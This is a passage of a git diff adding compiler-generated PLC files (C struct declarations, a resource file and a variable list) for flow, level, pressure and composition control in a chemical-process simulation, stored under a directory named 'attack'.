__DECLARE_VAR(REAL,PRODUCT_FLOW_REAL) + __DECLARE_VAR(TIME,CYCLE_TIME) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,CURR_POS_REAL) + __DECLARE_VAR(REAL,FLOW_SET_REAL) + SCALE_TO_REAL SCALE_TO_REAL0; + SCALE_TO_REAL SCALE_TO_REAL1; + __DECLARE_VAR(REAL,FLOW_MAX) + __DECLARE_VAR(REAL,FLOW_MIN) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,POS_MAX) + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,SUB59_OUT) + __DECLARE_VAR(REAL,MUL60_OUT) + __DECLARE_VAR(REAL,ADD58_OUT) + __DECLARE_VAR(REAL,LIMIT40_OUT) + +} FLOW_CONTROL; + +void FLOW_CONTROL_init__(FLOW_CONTROL *data__, BOOL retain); +// Code part +void FLOW_CONTROL_body__(FLOW_CONTROL *data__); +// FUNCTION_BLOCK LEVEL_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,LIQUID_LEVEL) + __DECLARE_VAR(UINT,LEVEL_SP) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,NEW_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(TIME,CYCLE_TIME) + __DECLARE_VAR(REAL,LEVEL_K) + __DECLARE_VAR(REAL,LEVEL_TI) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,LEVEL_MAX) + __DECLARE_VAR(REAL,LEVEL_MIN) + __DECLARE_VAR(REAL,POS_MAX) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,LEVEL_REAL) + __DECLARE_VAR(REAL,POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,SP_REAL) + SCALE_TO_REAL SCALE_TO_REAL1; + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,SUB32_OUT) + __DECLARE_VAR(REAL,MUL33_OUT) + __DECLARE_VAR(REAL,SUB30_OUT) + __DECLARE_VAR(REAL,LIMIT25_OUT) + +} LEVEL_CONTROL; + +void LEVEL_CONTROL_init__(LEVEL_CONTROL *data__, BOOL retain); +// Code part +void LEVEL_CONTROL_body__(LEVEL_CONTROL *data__); +// FUNCTION_BLOCK SCALE_TO_SIGNED +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,INPUT_UINT) + __DECLARE_VAR(INT,OUTPUT_INT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,DIV3_OUT) + __DECLARE_VAR(UINT,ABS8_OUT) + __DECLARE_VAR(INT,UINT_TO_INT9_OUT) + +} SCALE_TO_SIGNED; + +void SCALE_TO_SIGNED_init__(SCALE_TO_SIGNED *data__, BOOL retain); +// Code part +void SCALE_TO_SIGNED_body__(SCALE_TO_SIGNED *data__); +// FUNCTION_BLOCK PRESSURE_OVERRIDE +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,CURR_SP) + __DECLARE_VAR(UINT,PRODUCT_SP) + __DECLARE_VAR(UINT,OVERRIDE_SP) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,PRESSURE_REAL) + __DECLARE_VAR(REAL,CURR_SP_REAL) + __DECLARE_VAR(REAL,PRODUCT_SP_REAL) + __DECLARE_VAR(REAL,SP_UPDATE) + __DECLARE_VAR(REAL,PRODUCT_SP_NOMINL) + __DECLARE_VAR(REAL,OVERRIDE_SP_REAL) + __DECLARE_VAR(REAL,OVERRIDE_K) + __DECLARE_VAR(REAL,OVERRIDE_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL7; + __DECLARE_VAR(REAL,PRESSURE_MAX) + __DECLARE_VAR(REAL,PRESSURE_MIN) + __DECLARE_VAR(REAL,FLOW_MAX) + __DECLARE_VAR(REAL,FLOW_MIN) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB86_OUT) + __DECLARE_VAR(REAL,MUL87_OUT) + __DECLARE_VAR(REAL,MAX84_OUT) + __DECLARE_VAR(REAL,ADD85_OUT) + __DECLARE_VAR(REAL,LIMIT67_OUT) + __DECLARE_VAR(REAL,DIV73_OUT) + __DECLARE_VAR(REAL,MUL75_OUT) + __DECLARE_VAR(UINT,REAL_TO_UINT79_OUT) + +} PRESSURE_OVERRIDE; + +void PRESSURE_OVERRIDE_init__(PRESSURE_OVERRIDE *data__, BOOL retain); +// Code part +void PRESSURE_OVERRIDE_body__(PRESSURE_OVERRIDE *data__); +// PROGRAM MAIN +// Data part +typedef struct { + // PROGRAM Interface - IN, OUT, IN_OUT variables + + // PROGRAM private variables - TEMP, private and located variables + FLOW_CONTROL FLOW_CONTROL0; + __DECLARE_VAR(BOOL,FIRST_RUN) + __DECLARE_VAR(UINT,FLOW_SET) + __DECLARE_VAR(UINT,A_SETPOINT) + __DECLARE_VAR(UINT,PRESSURE_SP) + __DECLARE_VAR(UINT,OVERRIDE_SP) + __DECLARE_VAR(UINT,LEVEL_SP) + COMPOSITION_CONTROL COMPOSITION_CONTROL0; + SCALE_TO_SIGNED SCALE_TO_SIGNED0; + __DECLARE_VAR(UINT,F1_VALVE_POS) + __DECLARE_VAR(UINT,F1_FLOW) + __DECLARE_VAR(UINT,F2_VALVE_POS) + __DECLARE_VAR(UINT,F2_FLOW) + __DECLARE_VAR(UINT,PURGE_VALVE_POS) + __DECLARE_VAR(UINT,PURGE_FLOW) + __DECLARE_VAR(UINT,PRODUCT_VALVE_POS) + __DECLARE_VAR(UINT,PRODUCT_FLOW) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,LEVEL) + __DECLARE_VAR(UINT,A_IN_PURGE) + __DECLARE_VAR(UINT,B_IN_PURGE) + __DECLARE_VAR(UINT,C_IN_PURGE) + __DECLARE_VAR(UINT,F1_VALVE_SP) + __DECLARE_VAR(UINT,F2_VALVE_SP) + __DECLARE_VAR(UINT,PURGE_VALVE_SP) + __DECLARE_VAR(UINT,PRODUCT_VALVE_SP) + __DECLARE_VAR(UINT,PRODUCT_VALVE_SAFE) + __DECLARE_VAR(UINT,PURGE_VALVE_SAFE) + __DECLARE_VAR(UINT,F1_VALVE_SAFE) + __DECLARE_VAR(UINT,F2_VALVE_SAFE) + PRESSURE_CONTROL PRESSURE_CONTROL0; + __DECLARE_VAR(INT,HMI_PRESSURE) + __DECLARE_VAR(INT,HMI_LEVEL) + __DECLARE_VAR(INT,HMI_F1_VALVE_POS) + __DECLARE_VAR(INT,HMI_F1_FLOW) + __DECLARE_VAR(INT,HMI_F2_VALVE_POS) + __DECLARE_VAR(INT,HMI_F2_FLOW) + __DECLARE_VAR(INT,HMI_PURGE_VALVE_POS) + __DECLARE_VAR(INT,HMI_PURGE_FLOW) + __DECLARE_VAR(INT,HMI_PRODUCT_VALVE_POS) + __DECLARE_VAR(INT,HMI_PRODUCT_FLOW) + __DECLARE_VAR(UINT,SCAN_COUNT) + SCALE_TO_SIGNED SCALE_TO_SIGNED1; + SCALE_TO_SIGNED SCALE_TO_SIGNED2; + SCALE_TO_SIGNED SCALE_TO_SIGNED3; + SCALE_TO_SIGNED SCALE_TO_SIGNED4; + SCALE_TO_SIGNED SCALE_TO_SIGNED5; + SCALE_TO_SIGNED SCALE_TO_SIGNED6; + SCALE_TO_SIGNED SCALE_TO_SIGNED7; + SCALE_TO_SIGNED SCALE_TO_SIGNED8; + SCALE_TO_SIGNED SCALE_TO_SIGNED9; + PRESSURE_OVERRIDE PRESSURE_OVERRIDE0; + LEVEL_CONTROL LEVEL_CONTROL0; + __DECLARE_EXTERNAL(BOOL,RUN_BIT) + __DECLARE_VAR(BOOL,RUN_BIT0) + INITIALIZE_SP INITIALIZE_SP0; + __DECLARE_VAR(UINT,ADD87_OUT) + __DECLARE_VAR(BOOL,GE91_OUT) + __DECLARE_VAR(BOOL,MOVE92_ENO) + __DECLARE_VAR(UINT,MOVE92_OUT) + +} MAIN; + +void MAIN_init__(MAIN *data__, BOOL retain); +// Code part +void MAIN_body__(MAIN *data__); +#endif //__POUS_H diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.c new file mode 100644 index 0000000..0c22fe2 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.c @@ -0,0 +1,38 @@ +/*******************************************/ +/* FILE GENERATED BY iec2c */ +/* Editing this file is not recommended... */ +/*******************************************/ + +#include "iec_std_lib.h" + +// RESOURCE RES0 + +extern unsigned long long common_ticktime__; + +#include "accessor.h" +#include "POUS.h" + +#include "Config0.h" +__DECLARE_GLOBAL(BOOL,RES0,RUN_BIT) + +#include "POUS.c" + +BOOL MAINTASK; +MAIN RES0__INSTANCE0; +#define INSTANCE0 RES0__INSTANCE0 + +void RES0_init__(void) { + BOOL retain; + retain = 0; + __INIT_GLOBAL(BOOL,RUN_BIT,__INITIAL_VALUE(__BOOL_LITERAL(FALSE)),retain) + MAINTASK = __BOOL_LITERAL(FALSE); + MAIN_init__(&INSTANCE0,retain); +} + +void RES0_run__(unsigned long tick) { + MAINTASK = !(tick % 1); + if (MAINTASK) { + MAIN_body__(&INSTANCE0); + } +} + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.o new file mode 100644 index 0000000..7d4d916 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/Res0.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/VARIABLES.csv b/plc/GRFICS_Workstation_Docs/Documents/attack/build/VARIABLES.csv new file mode 100644 index 0000000..e4bcf24 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/VARIABLES.csv @@ -0,0 +1,457 @@ +// Programs +0;CONFIG0.RES0.INSTANCE0;MAIN; + +// Variables +0;VAR;CONFIG0.RES0.RUN_BIT;CONFIG0.RES0.RUN_BIT;BOOL; +1;FB;CONFIG0.RES0.INSTANCE0;CONFIG0.RES0.INSTANCE0;MAIN; +2;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0;FLOW_CONTROL; +3;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.EN;BOOL; +4;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ENO;BOOL; +5;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_K;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_K;REAL; +6;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TI;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TI;REAL; +7;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TD;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_TD;REAL; +8;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW;UINT; +9;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.PRODUCT_FLOW_REAL;REAL; +10;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CYCLE_TIME;TIME; +11;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_UPDATE_REAL;REAL; +12;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS_REAL;REAL; +13;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.NEW_POS;UINT; +14;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.CURR_POS;UINT; +15;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_REAL;REAL; +16;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_SET_IN;UINT; +17;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0;SCALE_TO_REAL; +18;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.EN;BOOL; +19;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.ENO;BOOL; +20;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_INPUT_VALUE;UINT; +21;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.SCALED_REAL;REAL; +22;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MAX;REAL; +23;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.REAL_MIN;REAL; +24;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MAX;UINT; +25;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RAW_MIN;UINT; +26;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.RATE;REAL; +27;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL0.OFFSET;REAL; +28;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1;SCALE_TO_REAL; +29;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.EN;BOOL; +30;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.ENO;BOOL; +31;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_INPUT_VALUE;UINT; +32;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.SCALED_REAL;REAL; +33;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MAX;REAL; +34;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.REAL_MIN;REAL; +35;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MAX;UINT; +36;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RAW_MIN;UINT; +37;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.RATE;REAL; +38;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL1.OFFSET;REAL; +39;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MAX;REAL; +40;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.FLOW_MIN;REAL; +41;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MIN;REAL; +42;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.POS_MAX;REAL; +43;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2;SCALE_TO_REAL; +44;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.EN;BOOL; +45;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.ENO;BOOL; +46;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_INPUT_VALUE;UINT; +47;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.SCALED_REAL;REAL; +48;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MAX;REAL; +49;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.REAL_MIN;REAL; +50;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MAX;UINT; +51;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RAW_MIN;UINT; +52;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.RATE;REAL; +53;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_REAL2.OFFSET;REAL; +54;FB;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0;SCALE_TO_UINT; +55;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.EN;BOOL; +56;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.ENO;BOOL; +57;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_IN;REAL; +58;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.UINT_OUT;UINT; +59;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.DIV1_OUT;REAL; +60;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.MUL4_OUT;REAL; +61;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT;UINT; +62;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SUB59_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.SUB59_OUT;REAL; +63;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.MUL60_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.MUL60_OUT;REAL; +64;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ADD58_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.ADD58_OUT;REAL; +65;VAR;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT;CONFIG0.RES0.INSTANCE0.FLOW_CONTROL0.LIMIT40_OUT;REAL; +66;VAR;CONFIG0.RES0.INSTANCE0.FIRST_RUN;CONFIG0.RES0.INSTANCE0.FIRST_RUN;BOOL; +67;VAR;CONFIG0.RES0.INSTANCE0.FLOW_SET;CONFIG0.RES0.INSTANCE0.FLOW_SET;UINT; +68;VAR;CONFIG0.RES0.INSTANCE0.A_SETPOINT;CONFIG0.RES0.INSTANCE0.A_SETPOINT;UINT; +69;VAR;CONFIG0.RES0.INSTANCE0.PRESSURE_SP;CONFIG0.RES0.INSTANCE0.PRESSURE_SP;UINT; +70;VAR;CONFIG0.RES0.INSTANCE0.OVERRIDE_SP;CONFIG0.RES0.INSTANCE0.OVERRIDE_SP;UINT; +71;VAR;CONFIG0.RES0.INSTANCE0.LEVEL_SP;CONFIG0.RES0.INSTANCE0.LEVEL_SP;UINT; +72;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0;COMPOSITION_CONTROL; +73;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.EN;BOOL; +74;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.ENO;BOOL; +75;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE_REAL;REAL; +76;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_IN_PURGE;UINT; +77;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT_REAL;REAL; +78;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.A_SETPOINT;UINT; +79;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CURR_POS;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CURR_POS;UINT; +80;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_REAL;REAL; +81;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.POS_UPDATE_REAL;REAL; +82;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.VALVE_POS_NOMINAL;REAL; +83;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.NEW_POS;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.NEW_POS;UINT; +84;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_K;REAL; +85;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.COMPOSITION_TI;REAL; +86;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.CYCLE_TIME;TIME; +87;FB;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3;SCALE_TO_REAL; +88;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.EN;BOOL; +89;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.ENO;BOOL; +90;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_INPUT_VALUE;UINT; +91;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.SCALED_REAL;REAL; +92;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MAX;REAL; +93;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.REAL_MIN;REAL; +94;VAR;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX;CONFIG0.RES0.INSTANCE0.COMPOSITION_CONTROL0.SCALE_TO_REAL3.RAW_MAX;UINT; 